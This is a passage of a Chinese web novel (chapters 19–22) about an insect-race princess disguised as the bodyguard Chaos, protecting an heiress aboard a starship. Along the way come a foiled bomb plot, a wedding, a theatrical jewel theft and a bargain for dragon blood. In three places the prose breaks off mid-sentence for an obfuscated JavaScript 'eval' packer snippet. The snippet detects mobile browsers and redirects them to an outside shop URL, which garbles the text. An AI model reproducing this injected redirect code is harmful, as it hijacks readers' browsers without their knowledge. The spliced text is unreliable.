伊索尔德回到自己房间,一直在假装项链的灰百合懒洋洋攀在她脖子上,吐露的言语如同毒蛇。 “是她吗?” “不是。”伊索尔德卸去伪装,“跟她没关系,聪明人不会掺手这种事的,她恐怕很听曾祖母的话,是个好接班人啊。” “那看来我们要重新寻找目标了。”灰百合从伊索尔德身上游到床上,压出不轻不重的印迹,“拍卖会背后的势力有许多,可能银河集团并不是知情者。” 房间里没有开灯,黑暗中,伊索尔德的侧脸苍白如雪。她的眼瞳在黑暗里如同会流动的宝石,一动不动时,像虫类那样闪烁着冰冷而残忍的光彩。 “没关系。”她语气轻松,“我会找到是谁的。” 伊索尔德无法忍受有人觊觎虫族,她贪婪且霸道,不允许这个保护着自己顺利长大的地方被摧毁和伤害。 “我保证,TA一定会后悔的...”王虫喃喃。 —— 房间的门被彻底关上,诺贝塔缓缓放松手指,鲜血从她的指尖流下来,滴落在了地面。 诺贝塔略微苦涩地笑了一下,很快又揉了揉脸。 “...虫族啊。” 她叹息。 19. 观景台与炸弹与婚礼 第二天清晨,黑发紫眼的少女面带微笑敲响了诺贝塔的房门。 她不知道从哪搞来一套黑西装,两边的长刀被妥帖地收到背后,放在一个既方便使用,又不会妨碍到轮椅上的人的程度。 “早上好。” 光看卡俄斯的神态和语气,诺贝塔几乎都要相信这就是曾祖母为自己留下的后手,只是性格稍微有些恶劣,昨天与她开了个玩笑。 诺贝塔恍惚了一下,伊索尔德视若无睹,以一种轻柔但不容拒绝的力道把诺贝塔稳稳当当塞到了轮椅上。她能看出来诺贝塔有些神思不属,不过没关系,她可以自由发挥。 为了能让自己的脸色惨白得更符合卡俄斯想要的人设,诺贝塔特意一晚上没睡好,骤然跌入被布置得柔软舒适的轮椅上,她感觉到一种醺醺然的睡意升起。 她的逃亡之旅已经持续将近一个月,只囫囵睡过几个觉,长期紧绷的神经本该在遇到卡俄斯时更加紧绷,但她却不知为何感到了一种放松。 这很奇怪,至少现在,诺贝塔无法理解自己身体的无意识抉择。 “想去哪个观景台?”伊索尔德推着她在铺满绒毯的通道上行走,周围空旷又精美,不断向各个方向延伸的通道可以通往整艘星舰的所有地方。 为了更好满足顾客需要,银河集团在整艘星舰中配备了大大小小三十多个观景台。 正在跟自己眼皮作斗争的诺贝塔突然清醒了一下,“你没定吗?” 她以为这种隐形控制狂会保证每个环节都掌控在自己手中。 “每个地方都可以看到不同的故事。”伊索尔德轻笑了一下,“我以为让雇主自己选择今天会发生什么是受雇者应尽的责任。” “那就去最大的那个吧。”最宽阔的观景台离这里有一段距离,如果卡俄斯继续保持着这个速度,她觉得自己大可以悄悄睡上一会儿。 “遵从您的意见。”伊索尔德直起身,应了一声。 —— S01区域观景台。 这是星舰上最大的观景台,视野开阔,能够观赏到最浩瀚的宇宙,并在时间之旅中直面虫洞。 它一向很受游客喜爱,在诺贝塔的记忆里,这里本应该挤满了人才对。 但此刻却空无一人。 “维修?”伊索尔德正在代替她与服务人员打交道,她人性化地蹙了蹙眉,似乎为自己不能及时完成雇主心愿而感到隐晦的伤心,“这很突然,我并没有收到通知。请问是什么样的故障呢?” “一些小零件出现了问题。刚刚检修才发现。您可以看看终端,现在应该已经能看到通知了。” 伊索尔德的终端适时地亮了一下。 “好吧,那还需要多久呢?我的小主人一直很想要看看宇宙,你知道的,‘时间之旅’的穹顶观景台号称能够让人身临其境。” 刚刚打了个盹的诺贝塔呛咳了一下,没记错的话,这不是原样复述了一遍手册上的宣传词吗? “很快就好。”工作人员安抚她,“半小时内就可以搞定。” “那我们就在这里等吧。”伊索尔德不给对方拒绝的机会,很快推着诺贝塔到一处阴影里歇脚了。 她低着头为诺贝塔整理领口,悄悄在她耳边说话:“看,意外惊喜。这里本来被安装了纳米炸弹,然后在舞会,嗯,也就是明天,将所有人送上天。但现在被检修了。” 诺贝塔沉默了一下,“这听起来会死很多人。” 这样大规模的爆炸势必会从里摧毁星舰的大半防护罩,而在等待星舰自我修复的时间里,足够暴露真空的人类死个好几遍。 “不会那么严重。”就像看出来诺贝塔在想什么那样,伊索尔德继续说,“我估算过,大部分都能靠自己活下来,高科技产品啦,药物啦,机甲啦…你懂的,能上这艘星舰的人多多少少还是比较怕死的。” 这听起来勉强算个好消息,但是... “谁设置了这场爆炸?”她有非常强烈地找对方谈谈的想法。 这样不分敌我的大规模爆炸计划显然不是一朝一夕能够做成,诺贝塔有充足理由认定有人盯上了“时间之旅”的航线,并意图进行破坏。 伊索尔德轻轻说道:“亡命之徒。你找不到他们的。” “这个世界上还不存在银河集团找不到的人。” “因为他们已经前往宇宙的尽头了。”她微笑一下,站起身,又变回了那个尽忠职守的好侍从。 就事实而言,宇宙没有尽头。但就卡俄斯的意思来说,诺贝塔隐约明白他们去了哪里。 ——亡者魂归之地。 或者说,地狱。 不知为何,她感到了一丝丝欣慰,具体可以表述为没想到你虽然看起来像个资深戏迷精神病,但还挺热爱和平的。然而话还没出口,诺贝塔就更加清晰认识到一件事:这伙亡命之徒多半不是因为想搞爆炸艺术被卡俄斯送上天,更可能是他们有意无意打扰到了卡俄斯的舞台。 “他们干扰到你了?”她试探性地问道。 “他们认为我是某个被宇宙联盟通缉的在逃罪犯,又因为购买炸弹耗费了太多资金,急需物资补充。所以觉得很适合来一波黑吃黑。”伊索尔德叹息,“真是不幸。” 果然如此。 这趟旅行才刚刚开始四天不到,就已经发生了如此多的事故,再想想昨天卡俄斯所说的那些“故事”… 诺贝塔一哽,深觉这年头行走在外的精神病实在太多,自己如果真的能成功从这艘星舰上顺利离开,回去一定多多支持宇宙联盟的伟大事业,争取早日实现宇宙和平。 不过如果炸弹危机已经解除,她们又为什么要在这里等半小时? “因为还有别的人要来啊。”身后的临时保镖懒洋洋回答,“我也不知道为什么星舰这么大但大家都选在一个场子赶,可能是因为人类喜欢扎堆?你喜欢吃蛋糕吗,如果喜欢的话恭喜你,等会儿就可以一边见证爱情一边吃蛋糕了。” 话音刚落,一群服务员就匆匆忙忙推着巨大蛋糕登场了,他们的身后还有一批人正在布置现场,各色灯光根据控制台进行自主调试,刚刚维修完的观景台开始为婚礼现场做准备,而诺贝塔推测这对新人大概来自其他星系。 这看起来完全就像一时心血来潮,没有祝福,没有家人,没有朋友,能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467419|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留给彼此的只有死寂的宇宙。 既不浪漫,也不精彩。 第四星系不会选择这样的婚礼。 但这对新人看起来很高兴,她们各自抓着一大把鲜花到处狂撒,观景台检修完成后,来来往往的人越来越多。不管是来凑热闹还是路过,她们都一视同仁送出了伴手礼。那些糖果看起来圆润可爱,晶莹得像捧彩色的雪。 婚礼的进程还在有条不紊地进行,临时上场的司仪念着祝福词,彩带纷飞,贴满金箔的蛋糕被揭下幕布。她们披着无数鲜花和彩带切开了蛋糕,在无数人的簇拥下,快乐遍及了整片观景台。 诺贝塔也不禁为这欢欣感染,她轻轻鼓掌,忽然想到什么,抬头向卡俄斯的方向看去。 难以置信,后者脸上竟然露出了微笑。 她沉静地凝望着这场婚礼,既像是在看一个满意的故事,又像在看雪景球里永恒不变的雕像。 “这就是为什么我喜欢故事。”她说,“多么美好,多么纯粹。她们曾经彼此憎恨,然而如今竟然可以共享这份喜悦,这难道不值得祝福吗?” 说完,她轻轻拍了下手,无数透明的蝴蝶自她手中飞出,向不远处的新人飞去。 那些蝴蝶灵性异常,沾染了彩带的翅膀显露出痕迹,无声无息停在桌台上。最硕大的两只落在新人的手腕上,安静而顺服地等待着。 场内静默一瞬,下一刻,观景台上被请来的乐团开始默契地演奏。蝴蝶翩翩起舞,在悠扬的乐声中,它似乎成为了神所赠予的礼物。 人群开始欢呼,此刻,这艘星舰上所有的人都在为她们祝贺。 “走吧。”伊索尔德推着诺贝塔隐没在人群中,那些蝴蝶在她离去后,也依然活动自如,“接下来的故事就没这么和平了。我想想,百首龙应该已经布置完了现场,勒索案还没发生,啊,还有一件事,你肯定感兴趣。” 诺贝塔手中捧着一碟蛋糕,旁边还贴心地配备了一份小叉子,她根本没注意到卡俄斯是什么时候拿走这份蛋糕的,“什么?” “听说昨天你家里人内讧了。” 诺贝塔有点无语,就这?她家里天天在内讧。人太多了就是这点不好,芝麻大点事都能打出狗脑子。 “然后,为了证明你手上这份遗嘱无效,银河集团已经宣布你死亡了。” 她手抖了一下,差点没端稳蛋糕。 “好人啊...”诺贝塔喃喃,“这下就没多少人来找我了。”一个死人可不会带来什么麻烦,而诈尸对她来说也算不上多难操作。只要带着遗嘱到卡萨布兰卡,自然会有人来走该走的流程。 诺贝塔顿时觉得手中这份蛋糕都更加香甜了。 观景台的热闹景象被远远抛在身后,“千千万万年”珠宝展览即将开幕,同一时间,蒙面舞会也将盛大开场。 看不到尽头的虫洞就伫立在航线前方,再过一会儿,在穿越虫洞时,被写好的故事都将一同上演。 “得赶场了。”伊索尔德说,“百首龙到了,我们去抢个前排。” 诺贝塔把最后一口蛋糕吃完,自己从轮椅旁边抽出了纸巾。 “请。”她说。 20. 展览与伊索尔德刚离家时的一点往事 “千千万万年”展览在最中心的宴会厅举行,阻碍视线的桌椅被统统移走,开阔的空间里,一束束冷色的灯光垂直地落在那些透明柜子里的珠宝上。 大厅里黑暗一片,来观看展览的人却不慌不忙。身着礼服的主持人正在最前方念开场词,在她的头顶,有一束小小的光照亮了周围。 展览里的每一样珠宝都令人目眩神迷,但最珍贵的却并不在此列。 最名贵的珠宝理应得到最严密的保护和全场所有人的注目。 它被放在涂满了避光颜料的盒子里,随着主持人的手势被专人缓缓取出。 明亮到不可思议的光线从盒子里涌出,清澈的波光打在宴会厅的天花板与周围人的身上,粼光闪闪,宛如从海水底部看到的一望无际的天空。 宴会厅被宝石的光填满,在这梦幻的光线之中,一顶王冠出现在众人眼前。 它的整体构造十分简单,采用大量细碎宝石营造出珊瑚、白沙、城堡等意象,并在最中央的部分安放了大小近似的三颗蓝色宝石作为主体。 蓝色宝石是开采自深海的鳞青石,属于人鱼族特有的矿产,因为长期被海洋浸染,所以具有一定程度的水系异能,在加工之后能够帮助冠冕主人在水下自如活动。 这是结合了幻想与现实所制造出来的珍宝,拥有一个朴素但和它十分相称的名字。 深海之冕。 —— 伊索尔德和诺贝塔站在人群前列,近距离目睹了这极具冲击力的造物。现场安静异常,不少人都在盘算着要怎么将这顶冠冕收入囊中——不成文的规矩,星舰上所展出的所有珠宝都会在不久之后的拍卖会作为拍品出现。 诺贝塔已经预感到那会是一个恐怖的价格。 深海之冕并不是常规展品,它很快就被主持人收回了盒子,重新回到了被封锁的状态。众人纷纷散开,伊索尔德将诺贝塔带离了现场,她们开始依次参观展品,不时低声交谈两句。 “看。”伊索尔德停下轮椅,在一块浓绿的翡翠玉佩停下脚步。在玉佩的对面,有一个男人也正在仔细观看着这枚玉佩。 伊索尔德声音轻到几不可闻,诺贝塔隔着展柜看了那个人一眼。 脸上戴着样式普通的面具,应该是打算参加之后的蒙面舞会;袖口上戴着的蓝宝石质感很好,但凭诺贝塔的经验来说大概率是假货;展览的宣传册还捏在手里充当路线导航,停留在翡翠上的目光很奇怪,除了欣赏...还有一种不快。就好像这件玉佩本属于他,却被银河集团抢走了。 一个自大、傲慢、资产丰厚且精通造假技术的人。 “这是百首龙?”诺贝塔收回目光。 “是他的一部分。” 百首龙从不以真面目示人,他的作案手法也诡异多变。这个近些年来声名鹊起的星盗似乎有分身术,宇宙联盟有时收到信息前往现场,却又发现他出现在千万里之外。 这是个迷雾重重的角色,外界有许多关于他的传言,但要伊索尔德来说,正确的或许只有一条:百首龙和他的名字一样,有一百颗头颅。 百首龙不是一个人,是一个组织。 一个全部以百首龙做代号,并时不时以自己的行动掩护其他人的倒卖组织。 谁也不知道真正行动的是哪一个,他们只按照命令行事,有时候作为干扰项出现,有时候则真的扮演出手的那个。 真真假假,虚实难辨。 诺贝塔问:“他是会动手的那个吗?” “我不知道。但他是会准备背叛的那个。”并不是没有人想要离开百首龙,对宝石的渴望将他们聚集在一起,而随着这渴望越发膨胀,贪欲迟早会使他们不满于寄身在百首龙这个统一的名号下。 眼前这一个就是伊索尔德前不久发现的,想要脱离组织自己做出一番事业的百首龙。 “但是核心已经发现他了,也许会下达计划清除他。” 到时候,既可以看到百首龙表演自己精湛的盗窃技术,也可以现场观看百首龙的内讧。 伊索尔德觉得这个故事挺不错的,集合背叛、反杀、你知道我知道你的计划等多种要素为一体,不到最后一刻,连她都不知道结局。 诺贝塔被她推着继续往前走,室内的光线很足,映衬得宝石越发璀璨。 “你觉得他会活下来吗?” “这要看是谁来找他了。不过等半个小时就知道了,”伊索尔德说,“百首龙有一个创造者,脾气很差,而且热衷于戏剧性的演出,他喜欢在众人的目光下光明正大拿走珠宝,遗憾的是除他之外的人都更喜欢造假。扰乱市场。” 诺贝塔津津有味地听这些灰色地带的八卦,虽然很想问对方为什么知道的这么清楚,但最终忍住了。 寄人篱下要有寄人篱下的觉悟。虽然有契约做保障,但诺贝塔觉得自己的脖子硬不过长刀,卡俄斯性格奇诡,想说自己就老实听,不想说她可以自己保持安静,诺贝塔异常珍惜生命,绝不让好奇心为自己招来性命之忧。 但伊索尔德很有服务精神,在契约存续期间,她并不在意满足雇主一点小小的好奇心。 “我在宴会上遇见过他,有个商人就像今天这样举办了盛大的展览,他当着所有人的面将一件镶嵌了珍稀宝石的手镯拿走了。” 那也是百首龙出道以来第一次失手,因为伊索尔德。 说实话,伊索尔德出现在那里纯属意外。她那时候刚离开家,一时心血来潮蒙着眼扔飞镖决定了离家后的第一站。那里是第六星系的边缘地带,不法分子的天堂,整个星系最大黑市的所在地。塔纳斯带她去过这里,但主要是为了让她对这种虫族无法兼顾的地方有一定了解,不至于以后两眼一抹黑。 大祭司很早就发现了伊索尔德的本质,她愿意在虫族面前装乖,但不代表她真的是个乖孩子。苏珊对此了解不深,塔纳斯却很清楚自家王女放飞自我时会做出什么事。 为了避免伊索尔德在外面吃亏,她给伊索尔德的意识海里塞了很多资料。其中就包括各大星系的现存势力分布图及发家史。 这里的人都很精明,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467420|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于伊索尔德这样身份不明的存在十分警惕。 许多饱含恶意的目光在暗处随着她移动,当意识到这里没有什么好玩的东西之后,伊索尔德深深叹了口气。 她觉得自己实在运气不佳,第一次出门玩就遇到了这么排外的地方。 那时她已经可以自行编织伪装了,就在她思考要不要换一张脸的时候,她忽然发现街道上安静了下来。 一个坐在轮椅上的女孩出现在道路的尽头,她滑到伊索尔德面前,邀请她参加自己的生日宴会。 “唔,她是手镯的主人,据说那是她的妹妹送给她的礼物。” 女孩的妹妹是宇宙中小有名气的铸造师,因为在外求学不能及时赶回姐姐的生日宴,所以就送来了这只自己最得意的作品作为礼物。 百首龙最后也没有拿到这只手镯。因为女孩在发现它不见之后就向在场宾客发布了悬赏,金额之丰厚,足以买下半个黑市。 生日宴请来的大厨手艺很好,独具风味,伊索尔德本来正在开心地品尝蛋糕,直到意外发生,她问了一个问题。 “蛋糕的配方可以给我吗?” 女孩有些惊讶,紧接着毫不犹豫点了点头。 伊索尔德放下蛋糕叉,伸手抓住了一个人的脖子。 没有人看清她是怎么出手的,那个人原本并不在她身边,然而当她放下餐盘时,他就自然而然地出现在了她伸手的地方。 “镯子。” 她说的很简短,百首龙却知道自己正在面临死亡威胁。他事先对宴会主人及其宾客做过背调,却没想到此地主人上街随便请回来的一个居然是这样的煞神。心里哀叹一声,最终还是乖乖交出了手镯。 宴会主人拿回了手镯,伊索尔德得到了蛋糕配方,只有百首龙受伤的世界完成了。 “那后来呢?” “他被关起来了。之后我就走了,虽然不知道为什么会出现在这里,但要么就是越狱,要么就是跟那个人达成了协议。”黑市是能够同时容纳利益与仇恨的地方,也许百首龙技高一筹,又或者她们达成了什么交易,伊索尔德对此不关心。她只关心那份蛋糕配方。 在她帮忙拿回镯子后,女孩非常大方地给了她很多甜品配方,还附加了更便于新手操作的版本,也是因此伊索尔德才知道制作蛋糕的人是她自己。真想不到黑市的主人还有烘焙这个爱好。 拿到配方后,伊索尔德亲自下厨尝试了一次。 味道不错,但还是比不上宴会中吃到的那一份。 她希望女孩活得更久一点,她还想再吃一次蛋糕。 —— 展厅里的珠宝熠熠生辉,仿佛全世界的光彩全都聚集在这一片厅堂之中。 今日情景与往日何其相似,只是不知道这次结果又会如何。 忽然,照耀着珠宝的光芒一束束暗淡下去,只是一瞬间,整个大厅都陷入了无边黑暗。 伊索尔德的眼中浮现出淡淡的笑意。 “深海之冕被偷走了。” 她轻声说。 21. 百首龙与龙岛与门票 星舰上设有备用的能源系统,几乎在意外发生的同时,所有的灯光就重新恢复了照明。 光束再次亮起,却改变了原先的排列方式,全部都聚焦到一个人身上。 他站在主持人的位置上,戴着银色面具,手上握着一根黑色手杖。华丽夸张的服饰衬得他像个行走的衣柜,让人忍不住发笑。那枚装着深海之冕的盒子被他扣在手心里,像道具一样被他放在耳边轻轻敲击了一下。 “晚上好,诸位。”他微微鞠躬。 台下传来此起彼伏的惊呼声,其中有个人念出了他的名号。 ——百首龙。 他似乎笑了一下。 “很高兴诸位依然记得我的名字,那么我此来为何想必不用多说了。这样的珍宝留在人世未免太过浪费,理应回归深海。”百首龙说话有一种奇怪的韵调,用词华丽婉转,让诺贝塔想起那些舞台上的戏剧演员。 百首龙不杀人,因此台下众人也没有太多紧张情绪。安保人员想要上台抢回冠冕,却被百首龙戏耍一般频频躲过。光束追着他们的身影移动,像正在上演一出滑稽戏码。 “左边。右边。”百首龙一边躲避一边左右抛着盒子,口中念念有词。安保队被他带偏,当他再次说出右边时,毫不犹豫向右边扑去。 盒子被抛向了上空。 他哈哈一笑,“原来在上面。” 台下的观众也没忍住一起发出了哄笑声。 所有人都被带入了狂欢的气氛中,大脑已经被视觉的刺激填满,很少有人能意识到自己正直面盗窃现场,而不是在马戏团看演出。 “所以来的是那个创始人?” “我想除了他很少有人能再把场面搞得这么夸张。”伊索尔德的手指扣了扣轮椅椅背,“还有发现什么吗?” 诺贝塔的视线环顾一周。 “...那个叛徒呢?” “在他手里。魔术师总是有很多技巧的。” 诺贝塔眯着眼看百首龙的双手,发现他背在身后的那只手上抓着一块黑色的幕布。因为颜色相近,以至于跟舞台融为一体。一个不起眼的人形轮廓在后面抖动,却无法挣脱。 展览馆里的机器忽然齐刷刷将“视线”对准了台上的演员。刚刚从病毒中脱身的月神操控着它们,准备将入侵者清除。 百首龙注意到了这一点,他轻巧地躲过攻击,不知从哪里变出一个礼帽,扣在了自己的胸前。 “唉,好吧。欢乐时光总是短暂的,表演到此为止,我还不想做阿尔忒弥斯的猎物。” 他再次鞠了个躬,手中的长杖点了点地面,露出一个黑洞。 有一艘小型飞船在下面等待,它的防护罩被打开,等待着主人一跃而下。 他装模作样地敲击了一下空气。笃笃。仿佛有什么东西张开了嘴,盒子从他手中跌落,掉入空气中消失不见。 “晚上好,晚上不好,晚上再见!” 百首龙大笑着跳了进去,眨眼间就消失不见。 与此同时,展览厅的灯光从百首龙身上移开,冷光重新照在珠宝身上,在墙壁上交织出一条绚烂的河流。 而在这蜿蜒河流之中,诺贝塔注意到还有几件展品也消失不见了。 “已确认危险源。” 不带一丝起伏的机械音从展览厅四面八方传来,月神直接接管了星舰的对外武器,瞄准了那个正在迷彩中变得难以辨别的模糊影子。 光束吞没了飞船。 一场盛大的烟花在众人眼前绽放,似乎昭示着生命的消逝与冠冕的终结。 “不...深海之冕!” 发出声音的人被周围的机器黑洞洞地凝望着,它们的额头统一闪着蓝光,代表月神依然看着这里。 “已派出打捞人员。经测试,黑盒可以承受A等级武器的轰炸,请放心。” 黑盒是盛放着深海之冕的盒子。 被无形视线注视着的人松了口气,他往后退了一步:“好的,好的。感谢你的回答,月神。不用再看我了,谢谢。” 月神收回了目光。 展览厅里所有的蓝光都在一刹那熄灭了,大厅重归正常,即便刚刚失去了几样展品,展览依然如常进行着。广播里开始安抚乘客情绪,表示百首龙的到来早在预料之中,银河集团已经锁定了他逃跑的位置,将协助宇宙联盟将这位臭名昭著的星盗逮捕归案。 广播翻来覆去播报了三遍,中心思想只有一个:深海之冕并未遗失,它依然在我们的掌控之中。银河集团愿意为此担保。 对此,回到房间的诺贝塔发出了疑问:“真的吗?” “假的。”在走廊上看星星的伊索尔德回答,“假死跑路了吧,深海之冕上有装定位仪,刚刚已经失效了。” “您这话可说的真让人伤心。” 一道声音在她们背后幽幽响起。 “是吗?我想您愿意详细说说。”诺贝塔毫不惊慌,短短两天她已经很清楚卡俄斯的实力,相信如果没有她的允许,这个说话的人根本没可能靠近她们。换句话说,伊索尔德不认为这个人会威胁到诺贝塔。 轮椅随着她的操控转了一百八十度,诺贝塔托着下巴看这个不速之客,发现竟然还挺眼熟。 “你...”她皱了皱眉,“还真不是人啊?” 出现在她面前的是卸掉了一半伪装的百首龙,失去掩盖之后,那些生长在皮肤表面的鳞片清晰可见。 有点像蜥蜴。诺贝塔嘀咕。 百首龙对自己被吐槽像蜥蜴这件事一无所知,否则他应该立刻跳起来跟诺贝塔大战三百回合——他很讨厌别人拿他身上的鳞片说事。 “我有八分之一的龙族血统。”他彬彬有礼地回答。 “你找卡俄斯有事?”她倒了两杯果汁,加了致死量糖分的那杯推到伊索尔德面前,另外一杯端在自己手里。 “是的。”他的语气更谦卑了点,“原来您的名字是卡俄斯,这真是个为您量身定做的名字。” 这点诺贝塔很同意。 不过原来百首龙都不知道当初差点弄死自己的人叫什么吗? 她疑惑地喝了口果汁,不再开口。 伊索尔德正在专心致志地擦拭自己的长刀,她看起来很不想理这个人,证据是诺贝塔之前从来没见她这样专心致志地对待那两把长刀,仿佛一夜之间,那两把刀成为了她的爱人。 “只能假死跑路的人没有资格伤心。”她回答了最开始那个问题,“想避风头?” “的确如此。不知道能否有这个荣幸暂借宝地一晚呢?我愿意付出报酬回报您的好心。” 伊索尔德皱起脸:“说人话。” “我想用深海之冕换你帮我逃跑。”百首龙一口气说完。 “我要那玩意干什么?”伊索尔德困惑。 伊索尔德对深海之冕的态度就是长得不错,但也就那样,如果想要的话她完全可以找人鱼族造个更好的,为什么要一个次品? “您可以借此获得人鱼族的友谊。” “不需要。” “呃,”百首龙开始头脑风暴,“那么一份寄存在伊利亚银行金库的财富如何?这可是一笔很大的财富,就算银河集团的掌舵人也会动心。” “我不缺钱。” “娜娜莉亚的宝石矿脉如何?它的评级有A,可以稳定出产至少一百年的夜莺石。” “那个不好吃。”她断然拒绝,那玩意就跟放到过期的酸奶一样,味道奇诡无比,她第一次开盲盒开出来一口下去直接吐了个昏天地暗。 百首龙短暂沉默了一下,不知道是该震惊于居然有人吃石头还是该震惊有人吃了石头还嫌弃石头不好吃。 不过还是性命重要,他最终还是将自己的吐槽咽了回去。 “长明星的非自然天体生态系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467421|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 统。” “难看。” “丹华山的十年开采权。” “太短。” “宝石矿...” “你刚刚说过了。” “十艘产自舫时市的A级小型飞船。” “没兴趣。” 百首龙每提出一个条件,伊索尔德就否定一个。被拒绝的次数越来越多,他额头上也开始出现细汗。他隐约听见有窃笑声,环顾四周,只看到专注擦刀的伊索尔德和快要睡着的诺贝塔。 叛徒拼命之下毁掉了他的后手,无奈之下他只能再度上船。月神派遣的打捞人员很快就会发现那艘飞船只是一个幌子,然后就会开始在星舰上进行搜查。 银河集团不知为什么在星舰上准备了昂贵的药剂,能够检查出每个上船人的具体种族。百首龙没有带稀释药剂,加上他本人身手一般,一旦被抓到,人生就变得一目了然——他的罪行足以让他的牢狱体验持续一生,乐观点的话,说不定能在刑期结束之前死去。 百首龙觉得自己的大好青春不应该浪费在这种地方,因此无奈之下,只好向卡俄斯求助。 他很清楚卡俄斯不是人类,既然如此,她肯定有办法帮助自己躲过搜查。 百首龙还记得卡俄斯差点杀死自己的事情,但他也很清楚卡俄斯只是接下了一桩委托,对他本人并没有什么厌恶情绪,只要筹码足够,他相信卡俄斯愿意再接一次委托。 但他没想到卡俄斯这么难搞,钱权名利丝毫不能动摇她的态度,百首龙只好更加努力地思考自己还有什么东西可以作为筹码打动她。 “通往龙岛的门票。”他慢慢说。 伊索尔德终于抬起了头,仿佛第一天见到他。 她笑了。房间里的昏黄光彩投注在她的眼睛里,使得那双紫色的眼睛在某一刻显出金色的光彩。 “可以。”她收起刀,“先付定金吧。你知道是什么。” 百首龙苦涩地笑了一下,走进了卫生间。 伊索尔德抚摸了一下自己脖子上的白玫瑰:“想笑就笑。” 诺贝塔以为是在对自己说话,然而下一刻惊讶地发现卡俄斯所在的地方传来了笑声。 是卡俄斯的声音,却不是属于她的笑声。 她脖子上缠绕的白玫瑰仿佛活了过来,懒懒伸展了下身躯,游走到她的腰间,变成一条柔韧的花束腰链。 “混血想要抽血可是很疼的。”灰百合说,“哎呀,听说龙族很怕疼,你猜他会哭吗?” “那跟我又没关系。”伊索尔德漠然,“要不是你要去那里玩,我至于这么费劲吗?” “谢谢你。亲爱的。你真是个好人...呃不对,好像不能这样说。总之你意会吧。啊,这是谁?”灰百合看向诺贝塔,“我只是睡了一觉,你好像过得很精彩啊。” “我们的雇主。”伊索尔德说,“说你好。” 灰百合从善如流:“你好。这位美丽可爱的小姐,你可以叫我苏珊。” “你好。呃,你是...精灵族的吗?”诺贝塔有些坐立不安,她听说精灵族是天生的园艺大师,但没想过他们还能培育出会说话的品种。 简直就像童话照进现实。 “如果你这样认为。”灰百合模棱两可地说。 卫生间的门被打开了,百首龙走出来,手里拿着一管金红色的液体。 那是龙族的血液。 传说中,龙族心甘情愿给出的血液能够带领持有者前往龙岛。 但龙族封闭异常,已经有许多年不曾现世了,他们就像消失了一样,连幻想种都未曾见过他们的踪迹。为了满足苏珊的心愿,伊索尔德只能在百首龙这个混血身上打主意。 伊索尔德把血液递给苏珊,后者伸出叶子,牢牢抓紧了试管。 白色的玫瑰怀抱着装满血液的试管睡去了。 “合作愉快。”伊索尔德说。 22.时间旅行与虫洞与舞会 因为百首龙的出现,星舰临时通知舞会暂停。一间间房门被敲响,星舰上传来各种声音。 有积极配合的,有不满抱怨的,有侦探瘾发作表示是否需要帮助被礼貌拒绝的。 脚步声越来越近,百首龙无言看向伊索尔德,等待她的动作。 她歪了歪头:“看我做什么?” “我已经支付了定金,交易已然成立。也许您也应该付出了。”他彬彬有礼地说道。 “啊,好吧。”她说,“其实你什么都不用做,只需要等待。” 伊索尔德的脸上出现了一个微笑,她把长刀搁置在窗台边沿,向百首龙走过去。 工作人员的脚步声正在逼近,当意识到卡俄斯似乎打算撕毁约定时,百首龙的脸不可避免地扭曲了。 “时间旅行。”她不紧不慢地说,“在今天晚上,来自过去和未来的景象将同时出现在这艘星舰上,完成人们所期望它完成的一切。在这种情况下,又有谁还能想起来有一个可怜的小偷呢?” “时间旅行只是一个噱头。银河集团只是制造了能以假乱真的投影。”百首龙冷静地指出不合理之处,“很遗憾,它无法让我逃离追捕。” “没错。”伊索尔德承认,她笑得更开心了,“但你有没有想过另外一种可能呢。过去与未来真实存在于那些被封闭的潘多拉盒子里,它们本来无知无觉,直到有人持续不断地呼唤着它的名字。呼唤着它醒来,呼唤着它让自己看到那所谓的时间。” 她轻轻地说:“你还不明白吗,这一切都只是故事。在我们的这个世界上,一切皆有可能。” 百首龙为她的疯癫惊呆了。他第一万次后悔起找卡俄斯帮忙这个主意来,尽管这件事他从撬开房门时就开始做了。 宇宙里不缺疯子,更不缺把童话故事当真的疯子,百首龙以前对此一笑而过,直到此刻才真切地悔恨起来——谁也没告诉他这疯子杀伤力如此之大啊? 等他出狱(假如有那天的话)或者越狱成功,他一定会拿出自己的大半积蓄投入精神治疗产业。 “你觉得我在说疯话。”伊索尔德看出了百首龙的心理路程,这太显眼了,他根本就没想过隐藏。 她很不满:“难道我看起来是那种会背弃契约的存在吗。你对虫洞究竟是什么一无所知,我认为你需要再完成一次义务教育。来,诺贝塔,告诉他,假如一个载重超五千吨的事物反复多次进入同一虫洞会发生什么事?” 